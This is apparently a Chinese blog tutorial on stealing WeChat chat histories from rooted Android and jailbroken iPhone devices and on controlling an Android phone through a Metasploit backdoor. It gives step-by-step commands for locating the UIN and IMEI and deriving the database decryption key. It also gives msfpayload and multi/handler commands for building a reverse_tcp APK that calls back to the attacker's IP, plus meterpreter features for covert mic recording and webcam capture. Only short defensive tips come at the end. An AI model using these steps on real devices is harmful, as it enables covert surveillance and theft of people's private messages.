移动安全:窃取微信聊天记录、Hacking Android with Metasploit

在这篇文章中我们将讨论如何窃取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

(文章内容存在一定攻击性,目的在于普及终端安全知识、提高安全意识,如有非法使用,后果自负)

一:如何窃取Android、iPhone手机上的微信聊天记录?

0x00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0x01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

图片1.png

首先通过FTP把文件down到本地:

图片2.png

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

图片3.png

用数据库管理器打开:提示加密或者不是数据库文件

图片4.png

这里可以用windows环境下的SQLite Database Browser浏览器打开:

图片5.png

 

提示输入密码:

图片6.png

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

2.通过抓取WEB版微信聊天的数据包获取到uin。

1.1 App 配置文件

find / -name “system_config_prefs.xml”

图片7.png

/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml
cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin

Clipboard Image.png

<int name="default_uin" value="146****21" />

1.2 谷歌chrome浏览器登陆WEB版微信:

图片8.png

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

图片9.png

uin:146****21

图片10.png

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

SIM值+uin值组合即为146****21354**********85

md5: http://www.spriteking.com/cmd5/ 左侧加密

Clipboard Image.png

得到32位小写md5值:a1edf9f5********************b5e5

取其前七位:a1edf9f输入到sql浏览器中,成功打开微信的数据库文件:

图片12.png

图片13.png

0x02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

IMG_0716.JPG

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" 

mkdir /cache
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

在越狱iOS窃取隐私可参考:帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息 一文

0x03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

Clipboard Image.png

3.3 运行metasploit控制台

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run

Clipboard Image.png

3.4 安装&运行后门App

Screenshot_2016-06-27-14-04-48.pngScreenshot_2016-06-28-15-50-59.png

后门能进行什么操作?我们来看看usage:

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音;

webcam_list 列出安卓设备的所有摄像头;

webcam_snap 通过摄像头进行偷拍…

等等

0x04 演示视频

http://v.qq.com/iframe/player.html?vid=e0309wvais4&tiny=0&auto=0

0x05 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

Clipboard Image.png

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

1111.png

(apkStudio)

Clipboard Image.png

(Bytecodeviewer)

0x06 预防&安全建议

安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0x07 文中工具下载地址:

SQLite Database Browserhttp://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 参考&感谢

How To Decrypt WeChat EnMicroMsg.db Database?

Android微信数据导出

微信聊天记录分析

A look at WeChat security

https://gist.github.com/scturtle/7248017

帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息

Hacking Android Smartphone Tutorial using Metasploit

发表评论

Please log in using one of these methods to post your comment:

WordPress.com 徽标

您正在使用您的 WordPress.com 账号评论。 注销 /  更改 )

Facebook photo

您正在使用您的 Facebook 账号评论。 注销 /  更改 )

Connecting to %s